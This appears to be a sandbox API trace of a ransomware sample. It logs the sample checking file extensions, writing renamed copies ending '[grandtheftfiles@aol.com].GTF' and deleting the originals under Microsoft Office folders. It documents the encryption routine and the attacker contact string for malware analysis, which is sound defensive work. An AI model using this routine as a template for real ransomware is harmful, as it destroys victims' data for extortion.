	[0077.876] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0077.876] lstrlenW (lpString=".rar") returned 4
	[0077.876] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0077.877] lstrlenW (lpString=".bz2") returned 4
	[0077.877] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0077.877] lstrlenW (lpString=".7z") returned 3
	[0077.877] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0077.877] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0117-0409-1000-0000000FF1CE.xml") returned 104
	[0077.877] lstrlenW (lpString=".dbf") returned 4
	[0077.877] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0077.877] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0117-0409-1000-0000000FF1CE.xml") returned 104
	[0077.877] lstrlenW (lpString=".1cd") returned 4
	[0077.877] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0077.877] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0117-0409-1000-0000000FF1CE.xml") returned 104
	[0077.877] lstrlenW (lpString=".jpg") returned 4
	[0077.877] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0077.877] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0117-0409-1000-0000000FF1CE.xml") returned 104
	[0077.877] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0117-0409-1000-0000000FF1CE.xml") returned 104
	[0077.877] lstrlenW (lpString=".doc") returned 4
	[0077.877] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0077.877] lstrlenW (lpString=".docx") returned 5
	[0077.877] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1
	[0077.877] lstrlenW (lpString=".pdf") returned 4
	[0077.877] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0077.877] lstrlenW (lpString=".xls") returned 4
	[0077.877] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0077.877] lstrlenW (lpString=".xlsx") returned 5
	[0077.877] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1
	[0077.877] lstrlenW (lpString=".ppt") returned 4
	[0077.877] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0077.877] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0117-0409-1000-0000000FF1CE.xml") returned 104
	[0077.877] lstrlenW (lpString=".zip") returned 4
	[0077.877] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0077.877] lstrlenW (lpString=".rar") returned 4
	[0077.877] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0077.877] lstrlenW (lpString=".bz2") returned 4
	[0077.877] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0077.877] lstrlenW (lpString=".7z") returned 3
	[0077.877] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0077.878] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0117-0409-1000-0000000FF1CE.xml") returned 104
	[0077.878] lstrlenW (lpString=".dbf") returned 4
	[0077.878] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0077.878] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0117-0409-1000-0000000FF1CE.xml") returned 104
	[0077.878] lstrlenW (lpString=".1cd") returned 4
	[0077.878] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0077.878] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0117-0409-1000-0000000FF1CE.xml") returned 104
	[0077.878] lstrlenW (lpString=".jpg") returned 4
	[0077.878] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0077.878] lstrcmpiW (lpString1=".xml", lpString2=".GTF") returned 1
	[0077.878] lstrlenW (lpString="AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml") returned 53
	[0077.878] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-012a-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0077.878] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x2adff14 | out: lpFileSize=0x2adff14*=527958) returned 1
	[0077.878] CloseHandle (hObject=0x388) returned 1
	[0077.878] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-012a-0000-1000-0000000ff1ce.xml")) returned 0x220
	[0077.878] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-012a-0000-1000-0000000ff1ce.xml.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0077.878] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-012a-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0077.879] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0077.879] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0077.879] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-012a-0000-1000-0000000ff1ce.xml.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0077.879] GetLastError () returned 0x0
	[0077.879] ReadFile (in: hFile=0x388, lpBuffer=0x2fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesRead=0x2adfecc*=0x80e56, lpOverlapped=0x0) returned 1
	[0077.954] WriteFile (in: hFile=0x35c, lpBuffer=0x2fbb020*, nNumberOfBytesToWrite=0x80e60, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesWritten=0x2adfc94*=0x80e60, lpOverlapped=0x0) returned 1
	[0077.964] ReadFile (in: hFile=0x388, lpBuffer=0x2fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesRead=0x2adfecc*=0x0, lpOverlapped=0x0) returned 1
	[0077.964] WriteFile (in: hFile=0x35c, lpBuffer=0x2fbb020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesWritten=0x2adfc94*=0x13e, lpOverlapped=0x0) returned 1
	[0077.964] SetEndOfFile (hFile=0x35c) returned 1
	[0077.964] CloseHandle (hObject=0x35c) returned 1
	[0078.306] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0078.306] SetEndOfFile (hFile=0x388) returned 1
	[0078.311] CloseHandle (hObject=0x388) returned 1
	[0078.311] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0078.311] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-012a-0000-1000-0000000ff1ce.xml")) returned 1
	[0078.312] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml") returned 104
	[0078.312] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml") returned 104
	[0078.312] lstrlenW (lpString=".doc") returned 4
	[0078.312] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0078.312] lstrlenW (lpString=".docx") returned 5
	[0078.312] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1
	[0078.312] lstrlenW (lpString=".pdf") returned 4
	[0078.312] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0078.312] lstrlenW (lpString=".xls") returned 4
	[0078.312] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0078.312] lstrlenW (lpString=".xlsx") returned 5
	[0078.312] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1
	[0078.312] lstrlenW (lpString=".ppt") returned 4
	[0078.312] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0078.312] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml") returned 104
	[0078.312] lstrlenW (lpString=".zip") returned 4
	[0078.312] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0078.312] lstrlenW (lpString=".rar") returned 4
	[0078.312] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0078.312] lstrlenW (lpString=".bz2") returned 4
	[0078.312] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0078.312] lstrlenW (lpString=".7z") returned 3
	[0078.312] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0078.312] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml") returned 104
	[0078.312] lstrlenW (lpString=".dbf") returned 4
	[0078.312] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0078.312] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml") returned 104
	[0078.312] lstrlenW (lpString=".1cd") returned 4
	[0078.312] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0078.313] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml") returned 104
	[0078.313] lstrlenW (lpString=".jpg") returned 4
	[0078.313] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0078.313] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml") returned 104
	[0078.313] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml") returned 104
	[0078.313] lstrlenW (lpString=".doc") returned 4
	[0078.313] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0078.313] lstrlenW (lpString=".docx") returned 5
	[0078.313] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1
	[0078.313] lstrlenW (lpString=".pdf") returned 4
	[0078.313] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0078.313] lstrlenW (lpString=".xls") returned 4
	[0078.313] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0078.313] lstrlenW (lpString=".xlsx") returned 5
	[0078.313] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1
	[0078.313] lstrlenW (lpString=".ppt") returned 4
	[0078.313] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0078.313] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml") returned 104
	[0078.313] lstrlenW (lpString=".zip") returned 4
	[0078.313] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0078.313] lstrlenW (lpString=".rar") returned 4
	[0078.313] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0078.313] lstrlenW (lpString=".bz2") returned 4
	[0078.313] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0078.313] lstrlenW (lpString=".7z") returned 3
	[0078.313] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0078.313] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml") returned 104
	[0078.313] lstrlenW (lpString=".dbf") returned 4
	[0078.313] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0078.313] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml") returned 104
	[0078.313] lstrlenW (lpString=".1cd") returned 4
	[0078.313] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0078.313] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml") returned 104
	[0078.313] lstrlenW (lpString=".jpg") returned 4
	[0078.313] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0078.314] lstrcmpiW (lpString1=".GIF", lpString2=".GTF") returned -1
	[0078.314] lstrlenW (lpString="AG00011_.GIF") returned 12
	[0078.314] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00011_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00011_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0078.314] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x2adff14 | out: lpFileSize=0x2adff14*=7216) returned 1
	[0078.315] CloseHandle (hObject=0x388) returned 1
	[0078.315] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00011_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00011_.gif")) returned 0x220
	[0078.315] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00011_.GIF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00011_.gif.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0078.315] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00011_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00011_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0078.315] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0078.315] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0078.315] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00011_.GIF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00011_.gif.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0078.315] GetLastError () returned 0x0
	[0078.315] ReadFile (in: hFile=0x388, lpBuffer=0x2fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesRead=0x2adfecc*=0x1c30, lpOverlapped=0x0) returned 1
	[0078.317] WriteFile (in: hFile=0x35c, lpBuffer=0x2fbb020*, nNumberOfBytesToWrite=0x1c40, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesWritten=0x2adfc94*=0x1c40, lpOverlapped=0x0) returned 1
	[0078.318] ReadFile (in: hFile=0x388, lpBuffer=0x2fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesRead=0x2adfecc*=0x0, lpOverlapped=0x0) returned 1
	[0078.318] WriteFile (in: hFile=0x35c, lpBuffer=0x2fbb020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesWritten=0x2adfc94*=0xec, lpOverlapped=0x0) returned 1
	[0078.318] SetEndOfFile (hFile=0x35c) returned 1
	[0078.319] CloseHandle (hObject=0x35c) returned 1
	[0078.320] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0078.320] SetEndOfFile (hFile=0x388) returned 1
	[0078.320] CloseHandle (hObject=0x388) returned 1
	[0078.321] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00011_.GIF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0078.321] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00011_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00011_.gif")) returned 1
	[0078.321] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00011_.GIF") returned 68
	[0078.321] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00011_.GIF") returned 68
	[0078.321] lstrlenW (lpString=".doc") returned 4
	[0078.321] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0078.321] lstrlenW (lpString=".docx") returned 5
	[0078.321] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1
	[0078.321] lstrlenW (lpString=".pdf") returned 4
	[0078.321] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0078.321] lstrlenW (lpString=".xls") returned 4
	[0078.321] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0078.321] lstrlenW (lpString=".xlsx") returned 5
	[0078.321] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1
	[0078.321] lstrlenW (lpString=".ppt") returned 4
	[0078.321] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0078.321] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00011_.GIF") returned 68
	[0078.321] lstrlenW (lpString=".zip") returned 4
	[0078.322] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0078.322] lstrlenW (lpString=".rar") returned 4
	[0078.322] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0078.322] lstrlenW (lpString=".bz2") returned 4
	[0078.322] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0078.322] lstrlenW (lpString=".7z") returned 3
	[0078.322] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0078.322] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00011_.GIF") returned 68
	[0078.322] lstrlenW (lpString=".dbf") returned 4
	[0078.322] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0078.322] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00011_.GIF") returned 68
	[0078.322] lstrlenW (lpString=".1cd") returned 4
	[0078.322] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0078.322] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00011_.GIF") returned 68
	[0078.322] lstrlenW (lpString=".jpg") returned 4
	[0078.322] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0078.322] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00011_.GIF") returned 68
	[0078.322] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00011_.GIF") returned 68
	[0078.322] lstrlenW (lpString=".doc") returned 4
	[0078.322] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0078.322] lstrlenW (lpString=".docx") returned 5
	[0078.322] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1
	[0078.322] lstrlenW (lpString=".pdf") returned 4
	[0078.322] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0078.322] lstrlenW (lpString=".xls") returned 4
	[0078.322] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0078.322] lstrlenW (lpString=".xlsx") returned 5
	[0078.322] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1
	[0078.322] lstrlenW (lpString=".ppt") returned 4
	[0078.322] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0078.322] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00011_.GIF") returned 68
	[0078.322] lstrlenW (lpString=".zip") returned 4
	[0078.322] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0078.322] lstrlenW (lpString=".rar") returned 4
	[0078.322] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0078.323] lstrlenW (lpString=".bz2") returned 4
	[0078.323] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0078.323] lstrlenW (lpString=".7z") returned 3
	[0078.323] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0078.323] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00011_.GIF") returned 68
	[0078.323] lstrlenW (lpString=".dbf") returned 4
	[0078.323] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0078.323] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00011_.GIF") returned 68
	[0078.323] lstrlenW (lpString=".1cd") returned 4
	[0078.323] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0078.323] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00011_.GIF") returned 68
	[0078.323] lstrlenW (lpString=".jpg") returned 4
	[0078.323] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0078.323] lstrcmpiW (lpString1=".GIF", lpString2=".GTF") returned -1
	[0078.323] lstrlenW (lpString="AG00021_.GIF") returned 12
	[0078.323] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00021_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00021_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0078.323] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x2adff14 | out: lpFileSize=0x2adff14*=14873) returned 1
	[0078.323] CloseHandle (hObject=0x388) returned 1
	[0078.323] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00021_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00021_.gif")) returned 0x220
	[0078.324] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00021_.GIF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00021_.gif.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0078.324] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00021_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00021_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0078.324] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0078.324] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0078.324] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00021_.GIF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00021_.gif.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0078.324] GetLastError () returned 0x0
	[0078.324] ReadFile (in: hFile=0x388, lpBuffer=0x2fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesRead=0x2adfecc*=0x3a19, lpOverlapped=0x0) returned 1
	[0078.326] WriteFile (in: hFile=0x35c, lpBuffer=0x2fbb020*, nNumberOfBytesToWrite=0x3a20, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesWritten=0x2adfc94*=0x3a20, lpOverlapped=0x0) returned 1
	[0078.327] ReadFile (in: hFile=0x388, lpBuffer=0x2fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesRead=0x2adfecc*=0x0, lpOverlapped=0x0) returned 1
	[0078.327] WriteFile (in: hFile=0x35c, lpBuffer=0x2fbb020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesWritten=0x2adfc94*=0xec, lpOverlapped=0x0) returned 1
	[0078.327] SetEndOfFile (hFile=0x35c) returned 1
	[0078.327] CloseHandle (hObject=0x35c) returned 1
	[0078.328] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0078.328] SetEndOfFile (hFile=0x388) returned 1
	[0078.329] CloseHandle (hObject=0x388) returned 1
	[0078.329] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00021_.GIF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0078.330] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00021_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00021_.gif")) returned 1
	[0078.330] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00021_.GIF") returned 68
	[0078.330] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00021_.GIF") returned 68
	[0078.330] lstrlenW (lpString=".doc") returned 4
